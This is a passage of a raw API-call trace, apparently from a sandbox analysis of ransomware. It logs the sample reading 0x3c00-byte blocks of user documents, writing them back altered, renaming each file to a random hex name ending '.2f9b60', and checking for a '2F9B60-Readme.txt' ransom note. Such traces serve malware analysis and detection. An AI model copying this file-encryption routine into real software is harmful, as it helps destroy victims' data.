Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.182] WriteFile (in: hFile=0xdac, lpBuffer=0x20179560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2157f840, lpOverlapped=0x0 | out: lpBuffer=0x20179560*, lpNumberOfBytesWritten=0x2157f840*=0x3c00, lpOverlapped=0x0) returned 1 [0092.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20179560) returned 1 [0092.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201578d0) returned 1 [0092.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1b82c030 [0092.196] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0092.196] WriteFile (in: hFile=0xdac, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2157f8f0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2157f8f0*=0x11e, lpOverlapped=0x0) returned 1 [0092.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0092.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d9f0 [0092.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b710 [0092.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b710) returned 1 [0092.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9ebb0 [0092.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b710 [0092.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b380 [0092.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b380) returned 1 [0092.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d9f0) returned 1 [0092.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x59) returned 0x1b7c1cd0 [0092.198] sprintf (in: _Dest=0x1b7c1cd0, _Format="%c%c" | out: _Dest="f9") returned 2 [0092.198] sprintf (in: _Dest=0x1b7c1cd2, _Format="%c%c" | out: _Dest="ac") returned 2 [0092.198] sprintf (in: _Dest=0x1b7c1cd4, _Format="%c%c" | out: _Dest="e0") returned 2 [0092.199] sprintf (in: _Dest=0x1b7c1cd6, _Format="%c%c" | out: _Dest="d5") returned 2 [0092.199] sprintf (in: _Dest=0x1b7c1cd8, _Format="%c%c" | out: _Dest="c0") returned 2 [0092.199] sprintf (in: _Dest=0x1b7c1cda, _Format="%c%c" | out: _Dest="23") returned 2 [0092.199] sprintf (in: _Dest=0x1b7c1cdc, _Format="%c%c" | out: _Dest="e1") returned 2 [0092.199] sprintf (in: _Dest=0x1b7c1cde, _Format="%c%c" | out: _Dest="fc") returned 2 [0092.199] sprintf (in: _Dest=0x1b7c1ce0, _Format="%c%c" | out: _Dest="39") returned 2 [0092.199] sprintf (in: _Dest=0x1b7c1ce2, _Format="%c%c" | out: _Dest="79") returned 2 [0092.199] sprintf (in: _Dest=0x1b7c1ce4, _Format="%c%c" | out: _Dest="43") returned 2 [0092.199] sprintf (in: _Dest=0x1b7c1ce6, _Format="%c%c" | out: _Dest="38") returned 2 [0092.199] sprintf (in: _Dest=0x1b7c1ce8, _Format="%c%c" | out: _Dest="57") returned 2 [0092.199] sprintf (in: _Dest=0x1b7c1cea, _Format="%c%c" | out: _Dest="9c") returned 2 [0092.199] sprintf (in: _Dest=0x1b7c1cec, _Format="%c%c" | out: _Dest="41") returned 2 [0092.199] sprintf (in: _Dest=0x1b7c1cee, _Format="%c%c" | out: _Dest="74") returned 2 [0092.199] sprintf (in: _Dest=0x1b7c1cf0, _Format="%c%c" | out: _Dest="4e") returned 2 [0092.199] sprintf (in: _Dest=0x1b7c1cf2, _Format="%c%c" | out: _Dest="52") returned 2 [0092.199] sprintf (in: _Dest=0x1b7c1cf4, _Format="%c%c" | out: _Dest="ef") returned 2 [0092.199] sprintf (in: _Dest=0x1b7c1cf6, _Format="%c%c" | out: _Dest="0b") returned 2 [0092.199] sprintf (in: _Dest=0x1b7c1cf8, _Format="%c%c" | out: _Dest="5d") returned 2 [0092.199] sprintf (in: _Dest=0x1b7c1cfa, _Format="%c%c" | out: _Dest="03") returned 2 [0092.199] sprintf (in: _Dest=0x1b7c1cfc, _Format="%c%c" | out: _Dest="4c") returned 2 [0092.199] sprintf (in: _Dest=0x1b7c1cfe, _Format="%c%c" | out: _Dest="c9") returned 2 [0092.200] sprintf (in: _Dest=0x1b7c1d00, _Format="%c%c" | out: _Dest="2b") returned 2 [0092.200] sprintf (in: _Dest=0x1b7c1d02, _Format="%c%c" | out: _Dest="15") returned 2 [0092.200] sprintf (in: _Dest=0x1b7c1d04, _Format="%c%c" | out: _Dest="50") returned 2 [0092.200] sprintf (in: _Dest=0x1b7c1d06, _Format="%c%c" | out: _Dest="3f") returned 2 [0092.200] sprintf (in: _Dest=0x1b7c1d08, _Format="%c%c" | out: _Dest="78") returned 2 [0092.200] sprintf (in: _Dest=0x1b7c1d0a, _Format="%c%c" | out: _Dest="0b") returned 2 [0092.200] sprintf (in: _Dest=0x1b7c1d0c, _Format="%c%c" | out: _Dest="83") returned 2 [0092.200] sprintf (in: _Dest=0x1b7c1d0e, _Format="%c%c" | out: _Dest="a8") returned 2 [0092.200] sprintf (in: _Dest=0x1b7c1d10, _Format="%c%c" | out: _Dest="0a") returned 2 [0092.200] sprintf (in: _Dest=0x1b7c1d12, _Format="%c%c" | out: _Dest="31") returned 2 [0092.200] sprintf (in: _Dest=0x1b7c1d14, _Format="%c%c" | out: _Dest="fc") returned 2 [0092.200] sprintf (in: _Dest=0x1b7c1d16, _Format="%c%c" | out: _Dest="54") returned 2 [0092.200] sprintf (in: _Dest=0x1b7c1d18, _Format="%c%c" | out: _Dest="3e") returned 2 [0092.200] sprintf (in: _Dest=0x1b7c1d1a, _Format="%c%c" | out: _Dest="94") returned 2 [0092.200] sprintf (in: _Dest=0x1b7c1d1c, _Format="%c%c" | out: _Dest="96") returned 2 [0092.200] sprintf (in: _Dest=0x1b7c1d1e, _Format="%c%c" | out: _Dest="28") returned 2 [0092.200] sprintf (in: _Dest=0x1b7c1d20, _Format="%c%c" | out: _Dest="b0") returned 2 [0092.200] sprintf (in: _Dest=0x1b7c1d22, _Format="%c%c" | out: _Dest="13") returned 2 [0092.200] sprintf (in: _Dest=0x1b7c1d24, _Format="%c%c" | out: _Dest="3d") returned 2 [0092.200] sprintf (in: _Dest=0x1b7c1d26, _Format="%c%c" | out: _Dest="7a") returned 2 [0092.201] RtlInitAnsiString (in: DestinationString=0x2157f968, SourceString="f9ace0d5c023e1fc39794338579c41744e52ef0b5d034cc92b15503f780b83a80a31fc543e949628b0133d7a" | out: DestinationString="f9ace0d5c023e1fc39794338579c41744e52ef0b5d034cc92b15503f780b83a80a31fc543e949628b0133d7a") [0092.201] RtlAnsiStringToUnicodeString (in: DestinationString=0x2157f938, SourceString="f9ace0d5c023e1fc39794338579c41744e52ef0b5d034cc92b15503f780b83a80a31fc543e949628b0133d7a", AllocateDestinationString=1 | out: DestinationString="f9ace0d5c023e1fc39794338579c41744e52ef0b5d034cc92b15503f780b83a80a31fc543e949628b0133d7a") returned 0x0 [0092.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x107a80 [0092.201] wcscat (in: _Dest=0x1b7ad700, _Source="f9ace0d5c023e1fc397943" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\f9ace0d5c023e1fc397943") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\f9ace0d5c023e1fc397943" [0092.201] wcscat (in: _Dest=0x1b7ad700, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\f9ace0d5c023e1fc397943.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\f9ace0d5c023e1fc397943.2f9b60" [0092.201] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\f9ace0d5c023e1fc397943.2f9b60", NtPathName=0x2157f910, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\f9ace0d5c023e1fc397943.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x1079c0 [0092.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 [0092.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0092.204] NtQueryInformationFile (in: FileHandle=0xdac, IoStatusBlock=0x2157f978, FileInformation=0x2157f988, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2157f978, FileInformation=0x2157f988) returned 0x0 [0092.204] NtSetInformationFile (FileHandle=0xdac, IoStatusBlock=0x2157f978, FileInformation=0x2157f988, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad700) returned 1 [0092.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107a80) returned 1 [0092.206] FlushFileBuffers (hFile=0xdac) returned 1 [0092.241] CloseHandle (hObject=0xdac) returned 1 [0092.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b79ddf0 [0092.273] wcscpy (in: _Dest=0x1b79ddf0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0092.273] wcscat (in: _Dest=0x1b79ddf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0092.273] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0092.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0092.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7841c0) returned 1 Thread: id = 492 os_tid = 0xc84 [0092.188] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ad7S5JA4gzoc1hHZl.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ad7s5ja4gzoc1hhzl.xlsx")) returned 0x20 [0092.188] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ad7S5JA4gzoc1hHZl.xlsx", dwFileAttributes=0x20) returned 1 [0092.188] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ad7S5JA4gzoc1hHZl.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ad7s5ja4gzoc1hhzl.xlsx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd20 [0092.189] GetFileSizeEx (in: hFile=0xd20, lpFileSize=0x212bf760 | out: lpFileSize=0x212bf760*=64853) returned 1 [0092.189] SetFilePointerEx (in: hFile=0xd20, liDistanceToMove=0xfd51, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.189] ReadFile (in: hFile=0xd20, lpBuffer=0x212bf6e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x212bf728, lpOverlapped=0x0 | out: lpBuffer=0x212bf6e0*, lpNumberOfBytesRead=0x212bf728*=0x4, lpOverlapped=0x0) returned 1 [0092.208] SetFilePointerEx (in: hFile=0xd20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b920 [0092.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b6b0 [0092.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad80 [0092.209] NtQuerySystemTime (in: CurrentTime=0x212bf620 | out: CurrentTime=0x212bf620*=132462176980378000) returned 0x0 [0092.209] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x1bb39de6 [0092.209] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x1bd8036d [0092.209] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x7c1a6569 [0092.209] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x243189e3 [0092.209] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x1c9cf70d [0092.209] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x33d38bd3 [0092.209] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x3446e0f6 [0092.209] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x14bf0d02 [0092.209] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x4ad9193 [0092.209] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x29b4bbd8 [0092.209] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x6b2c6656 [0092.209] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x244af634 [0092.209] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x75a75691 [0092.209] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x2bcbc36d [0092.209] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0xb400594 [0092.209] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x6bac4213 [0092.209] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x2d7fad66 [0092.209] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x5e60137 [0092.209] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x6c1a936d [0092.209] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x68ba6209 [0092.209] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x54b55502 [0092.209] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x2df2bbcb [0092.209] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x4d05ce91 [0092.209] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x19583d37 [0092.209] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x721f2287 [0092.209] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x5b9d5efd [0092.209] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x6da8663c [0092.209] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x442d9ca3 [0092.210] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x64df62be [0092.210] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x1d3728bc [0092.210] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x7835710a [0092.210] RtlRandomEx (in: Seed=0x212bf610 | out: Seed=0x212bf610) returned 0x7a43d349 [0092.217] SetFilePointerEx (in: hFile=0xd20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.217] ReadFile (in: hFile=0xd20, lpBuffer=0x201578d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x212bf680, lpOverlapped=0x0 | out: lpBuffer=0x201578d0*, lpNumberOfBytesRead=0x212bf680*=0x3c00, lpOverlapped=0x0) returned 1 [0092.217] SetFilePointerEx (in: hFile=0xd20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d9f0 [0092.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b920 [0092.217] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b920) returned 1 [0092.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20179560 [0092.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b920 [0092.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad80 [0092.217] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ad80) returned 1 [0092.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d9f0) returned 1 [0092.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.218] WriteFile (in: hFile=0xd20, lpBuffer=0x20179560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x212bf680, lpOverlapped=0x0 | out: lpBuffer=0x20179560*, lpNumberOfBytesWritten=0x212bf680*=0x3c00, lpOverlapped=0x0) returned 1 [0092.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20179560) returned 1 [0092.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201578d0) returned 1 [0092.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1b82c030 [0092.222] SetFilePointerEx (in: hFile=0xd20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0092.222] WriteFile (in: hFile=0xd20, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x212bf730, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x212bf730*=0x11e, lpOverlapped=0x0) returned 1 [0092.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0092.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d9f0 [0092.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b230 [0092.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b230) returned 1 [0092.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9ebb0 [0092.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b230 [0092.231] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a930 [0092.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a930) returned 1 [0092.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d9f0) returned 1 [0092.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0092.231] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x59) returned 0x1b7c1cd0 [0092.231] sprintf (in: _Dest=0x1b7c1cd0, _Format="%c%c" | out: _Dest="66") returned 2 [0092.231] sprintf (in: _Dest=0x1b7c1cd2, _Format="%c%c" | out: _Dest="2f") returned 2 [0092.231] sprintf (in: _Dest=0x1b7c1cd4, _Format="%c%c" | out: _Dest="fc") returned 2 [0092.231] sprintf (in: _Dest=0x1b7c1cd6, _Format="%c%c" | out: _Dest="06") returned 2 [0092.231] sprintf (in: _Dest=0x1b7c1cd8, _Format="%c%c" | out: _Dest="0f") returned 2 [0092.231] sprintf (in: _Dest=0x1b7c1cda, _Format="%c%c" | out: _Dest="d6") returned 2 [0092.231] sprintf (in: _Dest=0x1b7c1cdc, _Format="%c%c" | out: _Dest="50") returned 2 [0092.231] sprintf (in: _Dest=0x1b7c1cde, _Format="%c%c" | out: _Dest="08") returned 2 [0092.231] sprintf (in: _Dest=0x1b7c1ce0, _Format="%c%c" | out: _Dest="8e") returned 2 [0092.231] sprintf (in: _Dest=0x1b7c1ce2, _Format="%c%c" | out: _Dest="db") returned 2 [0092.231] sprintf (in: _Dest=0x1b7c1ce4, _Format="%c%c" | out: _Dest="a1") returned 2 [0092.231] sprintf (in: _Dest=0x1b7c1ce6, _Format="%c%c" | out: _Dest="d1") returned 2 [0092.231] sprintf (in: _Dest=0x1b7c1ce8, _Format="%c%c" | out: _Dest="05") returned 2 [0092.231] sprintf (in: _Dest=0x1b7c1cea, _Format="%c%c" | out: _Dest="ad") returned 2 [0092.231] sprintf (in: _Dest=0x1b7c1cec, _Format="%c%c" | out: _Dest="e6") returned 2 [0092.231] sprintf (in: _Dest=0x1b7c1cee, _Format="%c%c" | out: _Dest="96") returned 2 [0092.231] sprintf (in: _Dest=0x1b7c1cf0, _Format="%c%c" | out: _Dest="d9") returned 2 [0092.232] sprintf (in: _Dest=0x1b7c1cf2, _Format="%c%c" | out: _Dest="e4") returned 2 [0092.232] sprintf (in: _Dest=0x1b7c1cf4, _Format="%c%c" | out: _Dest="e3") returned 2 [0092.232] sprintf (in: _Dest=0x1b7c1cf6, _Format="%c%c" | out: _Dest="ec") returned 2 [0092.232] sprintf (in: _Dest=0x1b7c1cf8, _Format="%c%c" | out: _Dest="38") returned 2 [0092.232] sprintf (in: _Dest=0x1b7c1cfa, _Format="%c%c" | out: _Dest="0d") returned 2 [0092.232] sprintf (in: _Dest=0x1b7c1cfc, _Format="%c%c" | out: _Dest="00") returned 2 [0092.232] sprintf (in: _Dest=0x1b7c1cfe, _Format="%c%c" | out: _Dest="32") returned 2 [0092.232] sprintf (in: _Dest=0x1b7c1d00, _Format="%c%c" | out: _Dest="3d") returned 2 [0092.232] sprintf (in: _Dest=0x1b7c1d02, _Format="%c%c" | out: _Dest="43") returned 2 [0092.232] sprintf (in: _Dest=0x1b7c1d04, _Format="%c%c" | out: _Dest="8a") returned 2 [0092.232] sprintf (in: _Dest=0x1b7c1d06, _Format="%c%c" | out: _Dest="19") returned 2 [0092.232] sprintf (in: _Dest=0x1b7c1d08, _Format="%c%c" | out: _Dest="cf") returned 2 [0092.232] sprintf (in: _Dest=0x1b7c1d0a, _Format="%c%c" | out: _Dest="e3") returned 2 [0092.232] sprintf (in: _Dest=0x1b7c1d0c, _Format="%c%c" | out: _Dest="08") returned 2 [0092.232] sprintf (in: _Dest=0x1b7c1d0e, _Format="%c%c" | out: _Dest="ee") returned 2 [0092.232] sprintf (in: _Dest=0x1b7c1d10, _Format="%c%c" | out: _Dest="58") returned 2 [0092.232] sprintf (in: _Dest=0x1b7c1d12, _Format="%c%c" | out: _Dest="62") returned 2 [0092.232] sprintf (in: _Dest=0x1b7c1d14, _Format="%c%c" | out: _Dest="d9") returned 2 [0092.232] sprintf (in: _Dest=0x1b7c1d16, _Format="%c%c" | out: _Dest="fc") returned 2 [0092.232] sprintf (in: _Dest=0x1b7c1d18, _Format="%c%c" | out: _Dest="fe") returned 2 [0092.232] sprintf (in: _Dest=0x1b7c1d1a, _Format="%c%c" | out: _Dest="89") returned 2 [0092.232] sprintf (in: _Dest=0x1b7c1d1c, _Format="%c%c" | out: _Dest="d0") returned 2 [0092.232] sprintf (in: _Dest=0x1b7c1d1e, _Format="%c%c" | out: _Dest="ba") returned 2 [0092.232] sprintf (in: _Dest=0x1b7c1d20, _Format="%c%c" | out: _Dest="04") returned 2 [0092.232] sprintf (in: _Dest=0x1b7c1d22, _Format="%c%c" | out: _Dest="c1") returned 2 [0092.232] sprintf (in: _Dest=0x1b7c1d24, _Format="%c%c" | out: _Dest="28") returned 2 [0092.233] sprintf (in: _Dest=0x1b7c1d26, _Format="%c%c" | out: _Dest="7e") returned 2 [0092.233] RtlInitAnsiString (in: DestinationString=0x212bf7a8, SourceString="662ffc060fd650088edba1d105ade696d9e4e3ec380d00323d438a19cfe308ee5862d9fcfe89d0ba04c1287e" | out: DestinationString="662ffc060fd650088edba1d105ade696d9e4e3ec380d00323d438a19cfe308ee5862d9fcfe89d0ba04c1287e") [0092.233] RtlAnsiStringToUnicodeString (in: DestinationString=0x212bf778, SourceString="662ffc060fd650088edba1d105ade696d9e4e3ec380d00323d438a19cfe308ee5862d9fcfe89d0ba04c1287e", AllocateDestinationString=1 | out: DestinationString="662ffc060fd650088edba1d105ade696d9e4e3ec380d00323d438a19cfe308ee5862d9fcfe89d0ba04c1287e") returned 0x0 [0092.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x1079c0 [0092.233] wcscat (in: _Dest=0x1b7add40, _Source="662ffc060fd650088edba1" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\662ffc060fd650088edba1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\662ffc060fd650088edba1" [0092.233] wcscat (in: _Dest=0x1b7add40, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\662ffc060fd650088edba1.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\662ffc060fd650088edba1.2f9b60" [0092.233] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\662ffc060fd650088edba1.2f9b60", NtPathName=0x212bf750, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\662ffc060fd650088edba1.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107a80 [0092.235] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107a80) returned 1 [0092.235] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0092.235] NtQueryInformationFile (in: FileHandle=0xd20, IoStatusBlock=0x212bf7b8, FileInformation=0x212bf7c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x212bf7b8, FileInformation=0x212bf7c8) returned 0x0 [0092.235] NtSetInformationFile (FileHandle=0xd20, IoStatusBlock=0x212bf7b8, FileInformation=0x212bf7c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7add40) returned 1 [0092.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 [0092.236] FlushFileBuffers (hFile=0xd20) returned 1 [0092.242] CloseHandle (hObject=0xd20) returned 1 [0092.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b79d9f0 [0092.250] wcscpy (in: _Dest=0x1b79d9f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0092.250] wcscat (in: _Dest=0x1b79d9f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0092.250] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0092.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d9f0) returned 1 [0092.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784130) returned 1 Thread: id = 493 os_tid = 0xc88 [0092.278] GetFileAttributesW 